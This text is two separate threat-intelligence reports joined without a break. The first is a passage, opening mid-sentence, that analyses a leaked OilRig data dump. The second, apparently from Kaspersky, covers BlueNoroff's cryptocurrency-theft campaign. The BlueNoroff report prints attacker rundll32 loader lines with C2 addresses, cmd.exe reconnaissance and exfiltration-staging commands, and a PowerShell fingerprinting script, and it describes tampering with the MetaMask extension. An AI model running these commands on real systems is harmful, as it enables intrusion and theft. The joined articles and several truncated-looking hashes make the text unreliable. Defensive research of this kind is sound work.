artifacts contained in the data dump are indeed consistent with known OilRig operations and toolsets. In addition, the data dump allowed us to retroactively compare our previous research with OilRig’s operational data. This allowed us to fill in previously existing gaps of OilRig’s attack life cycle in addition to validating the accuracy of our research. By analyzing the data dump, we have been able to identify exactly how the BONDUPDATER backdoor and its server component functions, the appearance and functionality of several webshells in deployment by OilRig, each of these tools’ internal operational names, and a better understanding of how widespread the OilRig operations may actually be from a global perspective. The organizations possibly under attack by OilRig are widely spread across the spectrum of industry verticals, spanning from government, media, energy, transportation and logistics, and technology service providers. In total, we identified nearly 13,000 stolen credentials, over 100 deployed webshells, and roughly a dozen backdoor sessions into compromised hosts across 27 countries, 97 organizations, and 18 industries. ## The Leak In mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle @Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig group. The initial claim included several screenshots of systems potentially in use by OilRig operators for attacks, a script that appeared to be used for DNS hijacking, and a password-protected archive with the filename Glimpse.rar purporting to contain the command and control server panel for an OilRig backdoor. Soon after, a Twitter account with the user handle @dookhtegan appeared claiming they also had access to data dumps involving internal tools and data used by the OilRig group. This account continued a series of tweets voicing protest against the OilRig group and attributing its operations to a specific nation-state and organization. Unit 42 is unable to validate this level of attribution, but a 2018 report from the United States National Counterintelligence and Security Center stated the OilRig group originates from an Iranian nexus. The account continued to post tweets with direct links to operational data dumps hosted on an anonymous file-sharing service. The files posted included the previously password-protected archive Glimpse.rar, as well as new archives containing hundreds of harvested credentials from compromised organizations along with details on exposed login prompts. There were also links to webshells previously and possibly currently deployed, the webshell source codes, as well as another backdoor and its server component. This account was suspended in short order, but immediately after the suspension, an alternate account with the username @dookhtegan1 with the same stylized profile image appeared and is still currently active. This account mirrors the previous messages of exposing the OilRig group but no longer contains links to data dumps, instead instructing those that are interested in the data to join them in a private Telegram channel. ## Data Dump Contents The contents of the data dump include various types of datasets that appear to be results from reconnaissance activity, initial compromises, and tools the OilRig operators use against target organizations. The affected organizations spread across the spectrum of industry verticals, spanning from government, media, energy, transportation and logistics, and technology service providers. The datasets included: - Stolen credentials - Potential systems to login to using stolen credentials - Deployed webshell URLs - Backdoor tools - Command and control server component of backdoor tools - Script to perform DNS hijacking - Documents identifying specific individual operators - Screenshots of OilRig operational systems We analyzed each type of dataset other than the documents containing detailed information on alleged OilRig operators, and they remain consistent with previously observed OilRig tactics, techniques, and procedures (TTPs). While we are unable to confirm the validity of the documents detailing individual operators simply due to a lack of visibility into that realm, we also have no reason to doubt their validity either. An interesting artifact we found in the data dump are the OilRig threat actors’ own internal names of various tools we have been tracking. | Tool Type | Internal Name | Industry Name | |------------------------------|----------------------|-------------------------| | Backdoor | Poison Frog | BONDUPDATER | | Backdoor | Glimpse | Updated BONDUPDATER | | Webshell | HyperShell | TwoFace loader | | Webshell | HighShell | TwoFace payload | | Webshell | Minion | TwoFace payload variant | | DNS Hijacking Toolkit | webmask | Related to DNSpionage | ## Credential Dumps In our analysis, we found that a total of fifteen organizations had their credentials stolen in some fashion and stored in text files for the OilRig group to then abuse for additional attacks. In total, nearly 13,000 sets of credentials are included in the data dump. The credentials appear to have been stolen via multiple techniques, including using post-exploitation password recovery tools such as MimiKatz or its variant ZhuMimiKatz. It appears to us that one organization had its entire Active Directory dumped out, making up most of the credentials we found in the data dump. The types of organizations listed in this data dump spread across multiple industry verticals but were all largely located in the Middle East region. We are unable to confirm if all of these stolen credentials are indeed valid sets of credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly probable that these credentials were or may still be valid. Assuming the lists of credentials are valid, the mass collection confirms our hypothesis that the OilRig group maintains a heavy emphasis on credential-based attacks along with the other types of attacks they deploy. This is consistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate credentials, they are able to masquerade as a legitimate user and essentially become an insider threat. In our past research, based on artifacts we had gathered, we had internally postulated the OilRig group likely had a propensity to immediately attempt to escalate privileges once they have their initial compromise, then try to move laterally into the local Microsoft Exchange server where they would then be able to harvest more credentials and implant additional tools such as webshells and IIS backdoors. The specific function of Ruler the OilRig group was using is the Ruler.Homepage function. This function abuses a capability in Microsoft Outlook which allows an administrator or a user to set a default homepage for any folder inside their inbox. Using stolen credentials, the operator would use Ruler to send commands to the target organization’s OWA instance via an RPC protocol which would then remotely set an arbitrary homepage for the compromised inbox’s folders. The operator would then include commands in the homepage to automatically retrieve and execute malicious code. ## Backdoors The data dump included two backdoors that we had previously associated with the OilRig threat group, both of which we had previously referred to as BONDUPDATER. Generally speaking, we are able to retrieve the implant or payload involved in an attack but are generally blind to the server-side component. This data dump provided the backdoors and their associated server components which provides us a different perspective on how the backdoors function. ### Glimpse The Glimpse tool within the data dump is related to the updated BONDUPDATER tool that we discovered being delivered to a Middle East government organization in a report we published on September 2018. The data dump included the following three requisite components of the Glimpse tool: | Component | Description | |-----------|-------------| | Agent | Powershell scripts meant to run on compromised systems. | | Server | Command and control server that communicates via DNS tunneling. | | Panel | Graphical User Interface that allows actors to issue commands, upload and download files to Agents via the Server. | Glimpse is a PowerShell script that contains the comment version 2.2, which suggests the OilRig group considers this a specific version of the tool and that it likely has included prior versions. ### Poison Frog The second backdoor included in the data dump is named Poison Frog. The dataset includes both the agent that the actor would install on targeted systems and the server that would allow the actor to interact with compromised systems. The Poison Frog tool appears to be a variant of BONDUPDATER used in targeted attacks in the Middle East, as reported by FireEye in December 2017. | Filename | SHA256 | |---------------------|--------| | poisonfrog.ps1 | 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14e | | hUpdater.ps1 | 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd9 | | dUpdater.ps1 | 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea33043 | Like the Glimpse C2 server, the Poison Frog server was written in JavaScript and will run in Node.js. The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts. ## Webshells The data dump included several different webshells apparently used by OilRig to interact with compromised servers. The three webshells included in the dump had names HyperShell, HighShell, and Minion, but it appears that Minion is likely a variant of HighShell based on code, filename, and functionality overlaps. ### HyperShell The HyperShell webshell included in the data dump is an example of the 3DES variant of the TwoFace loader. ### HighShell The data dump also included a webshell named HighShell, which we discovered was dropped by HyperShell. The dump included many different HighShell samples, of which we have identified at least three different versions. | SHA256 | Filename | |--------|----------| | fe9cdef3c88f83b74512ec6400b7231d7295bda78079b116627c4bc9b7a373e0 | error4.aspx | | 22c4023c8daa57434ef79b838e601d9d72833fec363340536396fe7d08ee2017 | HighShell.a | | 691801e3583991a92a2ad7dfa8a85396a97acdf8a0054f3edffd94fc1ad58948 | HighShellLo | ### Minion Minion appears to be another webshell related to HighShell, as it contains similar functionality and significant code overlap. ## DNS Hijacking Script In November 2018, Cisco Talos published research on an attack campaign named DNSpionage. In this data dump, a tool called webmask is included which appears to be a series of scripts specifically meant to perform DNS hijacking. An informational document is included titled guide.txt that provides instructions to the operator on how to execute the DNS hijacking attack using the provided tools. ## Screenshots The data dump includes several screenshots of resources that the leaker alleged was related to the OilRig group. The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers. ## Conclusion This data dump has provided a rare and unusual perspective into the behind-the-scenes activity in an adversary’s operations. It is important to understand that although we are able to validate the backdoors and webshells provided in the dataset as consistent with previously researched OilRig toolsets, in general, we are unable to validate the origins of the entirety of the dataset and cannot confirm nor deny that the data has not been manipulated in some manner. Indicators of Compromise: **Domains:** - myleftheart[.]com - office365-management[.]com - msoffice-cdn[.]com **Poison Frog PS1 files:** - 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14e - 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd9 - 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea33043 **IPs:** - 185.36.191[.]31 - 185.161.209[.]57 - 185.161.210[.]25 - 164.132.67[.]216 - 212.32.226[.]245 - 142.234.157[.]21 - 193.111.152[.]13 - 185.162.235[.]106 - 185.162.235[.]29 - 185.162.235[.]121 **OopsIE payload:** - 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336
# The BlueNoroff Cryptocurrency Hunt is Still On **Authors** Seongsu Park Vitaly Kamluk BlueNoroff is the name of an APT group coined by Kaspersky researchers while investigating the notorious attack on Bangladesh’s Central Bank back in 2016. A mysterious group with links to Lazarus and an unusual financial motivation for an APT. The group seems to work more like a unit within a larger formation of Lazarus attackers, with the ability to tap into its vast resources: be it malware implants, exploits, or infrastructure. Also, we have previously reported on cryptocurrency-focused BlueNoroff attacks. It appears that BlueNoroff shifted focus from hitting banks and SWIFT-connected servers to solely cryptocurrency businesses as the main source of the group’s illegal income. These attackers even took the long route of building fake cryptocurrency software development companies in order to trick their victims into installing legitimate-looking applications that eventually receive backdoored updates. We reported about the first variant of such software back in 2018, but there were many other samples to be found, which was later reported by the US CISA (Cybersecurity and Infrastructure Security Agency) in 2021. The group is currently active (recent activity was spotted in November 2021). ## The Latest BlueNoroff’s Infection Vector If there’s one thing BlueNoroff has been very good at, it’s the abuse of trust. Be it an internal bank server communicating with SWIFT infrastructure to issue fraudulent transactions, cryptocurrency exchange software installing an update with a backdoor to compromise its own user, or other means. Throughout its SnatchCrypto campaign, BlueNoroff abused trust in business communications: both internal chats between colleagues and interaction with external entities. According to our research this year, we have seen BlueNoroff operators stalking and studying successful cryptocurrency startups. The goal of the infiltration team is to build a map of interactions between individuals and understand possible topics of interest. This lets them mount high-quality social engineering attacks that look like totally normal interactions. A document sent from one colleague to another on a topic, which is currently being discussed, is unlikely to trigger any suspicion. BlueNoroff compromises companies through precise identification of the necessary people and the topics they are discussing at a given time. In a simple scenario, it can appear as a notification of a shared document via Google Drive from one colleague/friend to another. Note the tiny “X” image – it’s an icon for an image that failed to load. We opened the email on an offline system; if the system had been connected to the internet, there would be a real icon for a Google document loaded from a third-party tracking server that immediately notifies the attacker that the target opened the email. But we also observed a slightly more elaborate approach of an email being forwarded from one colleague to another. This works even better for the attacker, because the original email and the attachment appear to have already been checked by the forwarding party. Ultimately, it elevates the level of trust sufficiently for the document to be opened. We haven’t shown the forwarder address as it belongs to an attacked user, but note there is a piece of text that reads “via sendgrid.net”. There is no website at sendgrid.net, but it can be a domain owned by a US-based company called Sendgrid, that specializes in email distribution and email marketing campaigns. According to its website, it offers rich user-tracking capabilities and claims to be sending 90 billion emails every month. It seems to be a legitimate and reputable business, which is probably why Gmail accepts MIME header customization (or sender address forgery in the case of an attack) with nothing more than the short remark “via sendgrid.net”. We informed Sendgrid of this activity. Of course, many users could easily overlook the remark or simply not know what it means. The person, whose name was abused here, seems to be in the top management of the Digital Currency Group (dcg.co), according to public information. To make it clear, we believe that the employee of the company, or the company itself has nothing to do with this attack or the email. ### Which Other Company Names Have They Abused? There are many. We have compiled a list of names and logos so you can watch out for them in your inbox. The companies, whose logos are displayed here, were chosen by BlueNoroff for impersonation in social engineering tricks. Note, this is no proof that the companies listed were compromised. If you recognize them in incoming communication, there’s no reason to panic, but proceed with caution. For example, you can open the incoming documents in a sandboxed or virtualized offline environment, convert the document to a different format or use a non-standard viewer (i.e., server-side document viewer like GoogleDocs, Collabora Online, ONLYOFFICE, Microsoft Office Online, etc.). In some cases, we saw what looked like the compromise of an existing registered company and the subsequent use of its resources such as social media accounts, messengers and email to initiate business interaction with the target. If a venture capital company approaches a startup and sends files that look like an investment contract or some other promising documents, the startup won’t hesitate to open them, even if some risk is involved and Microsoft Office adds warning messages. A compromised LinkedIn account of an actual company representative was used to approach a target and engage with them. The true company’s website is different from the one referenced in the conversation. By manipulating trust in this way, BlueNoroff doesn’t even need to burn valuable 0-days. Instead, they can rely on regular macro-enabled documents or older exploits. We found they generally stick to CVE-2017-0199, using it again and again before trying something else. The vulnerability initially allowed automatic execution of a remote script linked to a weaponized document. The exploit relies on fetching remote content via an embedded URL inside one of the document meta files. An attentive user may even spot something fishy is happening while MS Word shows a standard loading popup window. If the document was opened offline or the remote content was blocked, it presents some legitimate content, likely scraped or stolen from another party. If the document isn’t blocked from connecting to the internet, it fetches a remote template that is another macro-enabled document. The two documents are like two ingredients of an explosive that when mixed together produce a blast. The first one contains two base64-encoded binary objects (one for 32-bit and 64-bit Windows) declared as image data. The second document (the remote template) contains a VBA macro that extracts one of these objects, spawns a new process (notepad.exe) to inject and execute the binary code. Although the binary objects have JPEG headers, they are actually only PE files with modified headers. Interestingly, BlueNoroff shows improved opsec at this stage. The VBA macro does a cleanup by removing the binary objects and the reference to the remote template from the original document and saving it to the same file. This essentially de-weaponizes the document leaving investigators scratching their head during analysis. Additionally, we’ve seen that this actor utilized an elevation of privilege (EoP) technique in the initial infection stage. According to our telemetry, the word.exe process, created by opening the malicious document, spawned the legitimate process, dccw.exe. The dccw.exe process is a Windows system file that has auto-elevate permission. Abusing a dccw.exe file is a known technique and we suspect the malware authors used it to run the next stage malware with high privilege. In another case, we have observed word.exe spawning a notepad.exe that received a malware injection and in turn spawning mmc.exe. Unfortunately, the full details of this technique are unavailable due to some missing parts. ## Malware Infection We assess that the BlueNoroff group’s interest in cryptocurrency theft started with the SnatchCrypto campaign that has been running since at least 2017. While tracking this campaign, we’ve seen several full-infection chains deliver malware. For the initial infection vector, they usually utilized zipped Windows shortcut files or weaponized Word documents. Note that this group has various methods in their infection arsenal and assembles the infection chain to suit the situation. ### Infection Chain #1: Windows Shortcut The group has been utilizing this infection vector for a long time. The actor sent an archive-type file containing a shortcut file and document to the victim. All archives used for the initial infection vector had a similar structure. The archive contained a document file such as Word, Excel or PDF file that was password protected alongside another file disguised as a text file containing the document’s password. This file is in fact a Windows shortcut file used to fetch the next stage payload. Before implanting a Windows executable type backdoor, the malware delivered a Visual Basic Script and Powershell Script through multiple stages. The fetched VBS file is responsible for fingerprinting the victim by sending basic system information, network adapter information, and a process list. Next, the Powershell agent is delivered in encoded format. It also sends the victim’s general information to the C2 server and next Powershell agent, which is capable of executing commands from the malware operator. Using this Powershell agent a full-featured backdoor is created, executing with the command line parameter: ``` rundll32.exe %Public%\wmc.dll,#1 4ZK0gYlgqN6ZbKd/NNBWTJOINDc+jJHOFH/9poQ+or9l ``` The malware checks the command line parameter, decoding it with base64 and decrypting it with an embedded key. The decrypted data contains: ``` 63429981 63407466 45.238.25[.]2 443 ``` To verify the parameter’s legitimacy, the malware XORs the second parameter with the 0x5837 hex value, comparing it with the first parameter. If both values match, the malware returns the decrypted C2 address and port. The malware also loads a configuration file (%Public%\Videos\OfficeIntegrator.dat in this case), decrypting it using RC4. This configuration file contains C2 addresses and the next stage payload path will be loaded. The malware has enriched backdoor functionalities that can control infected machines: - Directory/File manipulation - Process manipulation - Registry manipulation - Executing commands - Updating configuration - Stealing stored data from Chrome, Putty, and WinSCP These are used to deploy other malware tools to monitor the victim: a keylogger and screenshot taker. ### Infection Chain #2: Weaponized Word Document Another infection chain we’ve seen started from a malicious Word document. This is where the actor utilized remote template injection (CVE-2017-0199) with an embedded malicious Visual Basic Script. In one file (MD5: e26725f34ebcc7fa9976dd07bfbbfba3) the remotely fetched template refers to the first stage document and reads the encoded payload from it, injecting it to the legitimate process. The other case embedded a malicious Visual Basic Script and extracted a Powershell agent on the victim’s system. Going through this initial infection procedure results in a Windows executable payload being installed. The persistence backdoor #1 is created in the Start menu path for the persistence mechanism and spawns the first export function with the C2 address. ``` rundll32.exe "%appdata%\microsoft\windows\start menu\programs\maintenance\default.rdp",#1 https://sharedocs[.]xyz/jyrhl4jowfp/eyi8t5sjli/qzrk8blr_q/rnyyuekwun/yzm1ncj8yb/a3q== ``` Upon execution, the malware generates a unique installation ID based on the combined hostname, username and current timestamp, which are concatenated and hashed using a simple string hashing algorithm. After sending a beacon to the C2 server, the malware collects general system information, sending it after AES encryption. The data received from the server is expected to have the following structure: ``` @ PROCESS_ID # DLL_FILE_SIZE : DLL_FILE_DATA ``` The PROCESS_ID indicates the target process into which the malware will inject a new DLL. DLL_FILE_SIZE is the size of the DLL file to inject. And lastly, DLL_FILE_DATA contains the actual binary executable file to inject. Based on our telemetry, the actor used another type of backdoor. The persistence backdoor #2 is used to silently run an additional executable payload that is received over an encrypted channel from a remote server. The server address is not hardcoded but rather stored in an encrypted file on the disk (%WINDIR%\AppPatch\PublisherPolicy.tms), whose path is hardcoded in the backdoor. The decrypted configuration file has an identical structure to the configuration file used in Infection chain #1. As we can see from the above case, the actor behind this campaign delivered the final payload with multi-stage infection and carefully delivered the next payload after checking the fingerprint of the victim. This makes it harder to collect indicators to respond to the attack. With a strict infection chain, a full-featured Windows executable type backdoor is installed. This custom backdoor has long been attributed only to the BlueNoroff group, so we strongly believe that the BlueNoroff group is behind this campaign. ## Assets Theft ### Collecting Credentials One of the strategies this threat actor usually uses after implanting a full-featured backdoor is the common discovery and collection strategy used by APT threat actors. We managed to identify BlueNoroff’s hands-on activities on one victim and observed that the group delivered the final payload very selectively. The malware operator mostly relied on Windows commands when performing initial profiling. They collected user accounts, IP addresses and session information: ``` cmd.exe /c “query session >%temp%\TMPBFF2.tmp 2>&1” cmd.exe /c “ipconfig /all >%temp%\TMPEEE2.tmp 2>&1” cmd.exe /c “whoami >%temp%\TMP218C.tmp 2>&1” cmd.exe /c “net user [user account] /domain >%temp%\TMP4B7C.tmp 2>&1” cmd.exe /c “net localgroup administrators >%temp%\TMP9518.tmp 2>&1” ``` In the collection phase, the malware operator also relied on Windows commands. After finding folders of interest, they copied a folder named 策略档案 (Chinese for “Policy file“) to the previously created “MM” folder for exfiltration. Also, they collected a configuration file related to cryptocurrency software in order to extract possible credentials or other account details. ``` cmd.exe /c “mkdir %public%\MM >%temp%\TMPF522.tmp 2>&1” xcopy “%user%\Desktop\[redacted]工作文档\MM策略档案” %public%\MM /S /E /Q /Y cmd.exe /c “rd /s /q %public%\MM >%temp%\TMP729D.tmp 2>&1” cmd.exe /c “type D:\2\Crypt[redacted]\Crypt[redacted].conf >%temp%\TMP496B.tmp 2>&1″ ``` From one victim, we discovered that the operators manually copied a file that was created by one of the monitoring utilities (such as screenshot or keystroke data) to the %TEMP% folder in order to be sent to an attacker-controlled remote resource. ``` cmd.exe /c “copy “%appdata%\Microsoft\Feeds\Creds_5FADD329.dat” %public%\ >%temp%\TMP11C4.tmp 2>&1″ ``` ### Stealing Cryptocurrency In some cases where the attackers realized they had found a prominent target, they carefully monitored the user for weeks or months. They collected keystrokes and monitored the user’s daily operations, while planning a strategy for financial theft. If the attackers realize that the target uses a popular browser extension to manage crypto wallets (such as the Metamask extension), they change the extension source from Web Store to local storage and replace the core extension component (background.js) with a tampered version. At first, they are interested in monitoring transactions. The screenshot below shows a comparison of two files: a legitimate Metamask background.js file and its compromised variant with injected lines of code highlighted in yellow. You can see that in this case they set up monitoring of transactions between a particular sender and recipient address. We believe they have a vast monitoring infrastructure that triggers a notification upon discovering large transfers. The details of the transaction are automatically submitted via HTTP to a C2 server. In another case, they realized that the user owned a substantial amount of cryptocurrency, but used a hardware wallet. The same method was used to steal funds from that user: they intercepted the transaction process and injected their own logic. All this sounds easy, but in fact requires a thorough analysis of the Metamask Chrome extension, which is over 6MB of JavaScript code (about 170,000 lines of code) and implementation of a code injection that rewrites transaction details on demand when the extension is used. This way, when the compromised user transfers funds to another account, the transaction is signed on the hardware wallet. However, given that the action was initiated by the user at the very right moment, the user doesn’t suspect anything fishy is going on and confirms the transaction on the secure device without paying attention to the transaction details. The user doesn’t get too worried when the size of the payment he/she inputs is low and the mistake feels insignificant. However, the attackers modify not only the recipient address, but also push the amount of currency to the limit, essentially draining the account in one move. The injection is very hard to find manually unless you are very familiar with the Metamask codebase. However, a modification of the Chrome extension leaves a trace. The browser has to be switched to Developer mode and the Metamask extension is installed from a local directory instead of the online store. If the plugin comes from the store, Chrome enforces digital signature validation for the code and guarantees code integrity. So, if you are in doubt, immediately check your Metamask extension and Chrome settings. ## SnatchCrypto’s Victims The target of the SnatchCrypto campaign is not limited to specific countries and continents. This campaign is aimed at various companies that by the nature of their work deal with cryptocurrencies and smart contracts, DeFi, blockchains, and FinTech industry. According to our telemetry, we discovered victims from Russia, Poland, Slovenia, Ukraine, the Czech Republic, China, India, the US, Hong Kong, Singapore, the UAE and Vietnam. However, based on the shortened URL click history and decoy documents, we assess there were more victims of this financially motivated attack campaign. In addition to the above-mentioned countries, we observed uploads of weaponized documents and compromised Metamask extensions from Indonesia, the UK, Sweden, Germany, Bulgaria, Estonia, Russia, Malta and Portugal. ## SnatchCrypto’s Attribution We assess with high confidence that the financially motivated BlueNoroff group is behind this campaign. As a result of understanding the SnatchCrypto campaign’s full chain of infection, we can identify several overlaps with the BlueNoroff group’s previous activities. ### VBA Macro Authorship Analysis of the VBA macro from the remote template used during the initial infection revealed that the code matched the style and technique previously used by Clément Labro, an offensive security researcher from the company SCRT based out of Morges, Vaud, Switzerland. The original code for process injection from the VBA macro hasn’t been found in the public, so either Clément has privately developed it and later it became available to BlueNoroff, or someone adapted his other VBA code, such as the VBA-RunPE project. ### PowerShell Scripts Overlap One tool this group relied heavily on is the PowerShell script. Through an initial infection they deployed PowerShell agents on several victims, sending basic system information and executing commands from the control server. They have utilized this PowerShell continuously, while adding small updates. ``` function GetBasicInformation { $HostName = [System.Environment]::MachineName; $UserName = [System.Environment]::UserName; $DomainName = [System.Environment]::UserDomainName; $CurrentDir = [System.Environment]::CurrentDirectory; $BinPath = [System.Environment]::GetCommandLineArgs()[0]; $OSVersion = [System.Environment]::OSVersion.VersionString; $Is64BitOS = [System.Environment]::Is64BitOperatingSystem; $Is64BitProcess = [System.Environment]::Is64BitProcess; $PSVersion = 'PS ' + [System.Environment]::Version; $BasicInformation = $HostName + '|' + $UserName + '|' + $DomainName + '|' + $CurrentDir + '|' + $BinPath + '|' + $OSVersion + '|' + $Is64BitOS + '|' + $Is64BitProcess + '|' + $PSVersion; return $BasicInformation; } ``` ### Backdoor Overlap Through the complicated infection chain, a Windows executable type backdoor is eventually installed on the victim machine. We can only identify this backdoor malware from a few hosts. It has many code similarities with previously known BlueNoroff malware. Using Kaspersky Threat Attribution Engine (KTAE), we see that the malware binaries used in this campaign have considerable code similarities with known tools of the BlueNoroff group. In addition, we can identify uncommon techniques usually discovered from the BlueNoroff group’s malware. The group’s malware acquires a real C2 address by XORing the resolved IP address with a hardcoded DWORD value. We saw the same technique in our previous BlueNoroff report. The malware used in the SnatchCrypto campaign also used the same technique to acquire real C2 addresses. ### BlueNoroff’s Indicators of Compromise **Malicious Shortcut Files** - 033609f8672303feb70a4c0f80243349 - 2100e6e585f0a2a43f47093b6fabde74 - 4a3de148b5df41a56bde78a5dcf41975 - 5af886030204952ae243eedd25dd43c4 - 5f761f9aa3c1a76b17f584b9547a01a7 - 7a4a0b0f82e63941713ffd97c127dac8 - 813203e18dc1cc8c70d36ed691ca0df3 - 961e6ec465d7354a8316393b30f9c6e9 - 9ea244f0a0a955e43293e640bb4ee646 - a3c61de3938e7599c0199d2778f7d417 - a5d4bfc3eab1a28ffbcba67625d8292e - a94529063c3acdbfa770657e9126b56d - ab095cb9bc84f37a0a655fbc00e5f50e - b52d30d1db40d5d3c375c4a7c8a115c1 - dd2569684ca52ed176f1619ecbfa7aaa - dff21849756eca89ebfaa33ed3185d95 - e18dd8e61c736cfc6fff86b07a352c12 - e546b851ac4fa5a111d10f40260b1466 - e6e64c511f935d31a8859e9f3147fe24 - ea7ed84f7936d4cbafa7cec51fe39cf7 - f414f6590636037a6ec92a4d951bdf55 - 4e207d6e930db4293a6d720cf47858fc - 5e44deca6209e64f4093beae92db0c93 - 84c427e002fd162d596f3f43ce86fd6a - c16977fefbdc825a5c6760d2b4ea3914 - e5d12ef32f9bd3235d0ac45013040589 - 09bca3ddbc55f22577d2f3a7fda22d1c - 0eb71e4d2978547bd96221548548e9f0 - da599b0cde613b5512c13f299fec739e - 0c9170a2584ceeddb89e4c0f0a2353ed - 5053103dd5d075c1dc54edf1f8568098 - 536bae311c99a4d46f503c68595d4431 - 3078265f207fed66470436da07343732 - 15f1ae1fed1b2ea71fdb9661823663c6 - 56fe283ca3e1c1667191cc7764c260b6 - 850751de7b8e158d86469d22ad1c3101 - 1a8282f73f393656996107b6ec038dd5 - 2ea2ceab1588810961d2fc545e2f957e - 561f70411449b327e3f19d81bb2cea08 - 3812cdc4225182326b1425c9f3c2d50b - 4274e6dbc2b7aee4ef080d19fff47ce7 - 427bdfe4425e6c8e3ea41d89a2f55870 - 7a83be17f4628459e120a64fcab70bac - 5d662269739f1b81072e4c7e48972420 - 244a23172af8720882ae0141292f5c47 - a8e2c94abb4c1e77068a5e2d8943296c - 89c26cefa057cf21054e64b5560bf583 - 805949896d8609412732ee7bfb44900a - a2be99a5aa26155e6e42a17fbe4fd54d - 28917b4187b3b181e750bf024c6adf70 - 9f8e51f4adc007bb0364dfafb19a8c11 - 790a21734604b374cf260d20770bfc96 - db315d7b0d9e8c9ca0aa6892202d498b - 02904e802b5dc2f85eec83e3c1948374 - baebc60beaced775551ec23a691c3da6 - 302314d503ae88058cb4c33a6ac6b79b - aeac6f569fb9a7d3f32517aa16e430d6 - 926DEEAF253636521C26442938013204 **Malicious Documents** - 00a63a302dcaffc9f28826e9dba30e03 Abies VC Presentation.docx - ee9dda6bbbb1138263873dbef36a4d42 Abies VC Presentation.docx - 0f1c81c2023eae0fc092ce9f58213bcf Ant Capital Presentation (Azure Protected).docx - c33ce08ebcc6e508bb3a17e0fa7b08f8 Global Brain Pitch Deck.docx - b1911ef720b17aeed69ec41c8e94cc1e Venture Labo Investment Pitch Deck.docx - 380e9e78dc5bc91fb6cdd8b4a875f20a Abies VC Presentation.docx - ecf75bec770edcd89a3c16d3c4edde1a Abies VC Presentation (1).docx - 6c4943f4c28a07ee8cae41dad16d72b3 Abies VC Presentation.docx - f76e2e6bfbee77ae36049880d7c227f7 Abies VC Presentation.docx - 7aec3d1b24ed0946ab740924be5834fa Abies VC Presentation.docx - 47e325e3467bfa80055b7c0eebb11212 Abies VC Presentation.docx - 1e0d96c551ca31a4055491edc17ce2dd Abies VC Presentation.docx - bcf97660ce2b09cbffb454aa5436c9a0 Digital Asset Investment Stategy 2020 (ISO 27001).docx - 13ff15ac54a297796e558bb96feaacfd Abies VC Presentation(ISO 27001).docx - cace67b3ea1ce95298933e38311f6d0b Adviser-Non-Disclosure-Agreement-NDA(ISO 27001).docx - 645adf057b55ef731e624ab435a41757 OKEx and DeepMind Intro Deck(ISO 27001_Protected).docx - bde4747408ce3cfdfe8238a133ebcac9 Circle Business Introduction(ISO 27001).docx - 421b1e1ab9951d5b8eeda5b041cb0657 Berkshire Hathaway HomeServices Custody – Mutual NDA.docx - d2f08e227cd528ad8b26e9bbe285ae3c Union Square Ventures Partnership – Mutual NDA Form.docx - 04deb35316ebe1789da042c8876c0622 Chiliz Partnership – Mutual NDA Form.docx - af4eefa8cddc1e412fe91ad33199bd71 FasterCapital Mutual NDA Form.docx - 34239a3607d8b5b8ddd6797855f2e827 FasterCapital Introduction 2020 Oct.docx - 389172d2794d789727b9f7d01ec27f75 Lundbergs NDA Mutual Form.docx - f40e7998a84495648b0338bc016b9417 Union Square Ventures Partnership – Mutual NDA Form.docx - c8c2a9c50ff848342b0885292d5a8cd4 VIRUS.docx - adf9dc317272dc3724895cb07631c361 Non-Disclosure-Agreement-NDA(ISO 27001).docx - 158d84c90a79edb97ec5b840d86217c7 Venture Labo Investment Pitch Deck.docx - e26725f34ebcc7fa9976dd07bfbbfba3 Global Brain Pitch Deck.docx **Injected Remote Template** - 3dd638551b03a36d13428696dcada5d8 - 2da244dc9bbdbf2013b7fbc2a74073a2 - f3157dc297cb802c8ae2f07702903bfa **Visual Basic Script** - ce09cdb7979fb9099f46dd33036b9001 xivwtjab.vbs - f7f4aa55a2e4f38a6a3ea5a108baedf5 vwnozphn.vbs **Powershell** - ae52b28b360428829c4fcdc14e839f19 usoclient.ps1 **Powershell Agent (VBS-wrapped)** - 73572519159b0c27a18dbbaf25ef1cc0 guide.vbs - 8ae6aa90b5f648b3911430f14c92440b %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\check.vbs - ae12a668dd9f254c42fcd803c7645ed1 1.vbs - 589f1bb4da89cfd4a2f7f3489aa426a9 %APPDATA%\microsoft\windows\start menu\programs\startup\guide.vbs - 73572519159b0c27a18dbbaf25ef1cc0 guide.vbs **Backdoor** - 1d0fc2f1a6eb2b2bfa166a613ca871f0 - db91826cb9f2ad6edfed8d6bab5bef1f - 9c592a22acdfb750c440fda31da4996c **Keylogger** - f29be5c7e602e529339fda35ff91bd39 **Screencapture Malware** **Injector** - ec2b51dc1dc99165a0eb46b73c317e25 cssvc.dll - d8e51f1b9f78785ed7449145b705b2e4 cfssvc.dll - dd2d50d2f088ba65a3751e555e0dea71 bfcsvc.dll - f5317f1c0a10a80931378d68be9a4baa lssc.dll - 8727a967bbb5ebd99789f7414d147c31 sst.dll - cab281b38a57524902afcb1c9c8aa5ba bnt.dll - 6a2cbaea7db300925d25d9decf461d95 lmsvc.dll - 33a60ea8859307d3fd1a1fe884e37d2d - 1993ebb00cb670c6e2ca9b5f6c6375c4 sessc.dll - 1fb48113d015466a272e4b70c3109e06 wssc.dll - 33ae39569f0051d8dc153d7b4e814a67 - 525345989e10b64cd4d0e144eb48171f - 724d11c2cae561225e7ed31d7517dd40 lsasvc.dll - 56df737f3028203db8d51ed1263160ad ocss.dll - a160b36426ce77bccdd32d117eeb879b csscv.dll - 8fa484d35e60b93a4128dc5de45ec0df wmmc.dll **Persistence Backdoor #1** - 2934a7a0dfaf2ebc81b1f089277129c4 Default.rdp - 6c97c64052dfdc457b001f84b8657435 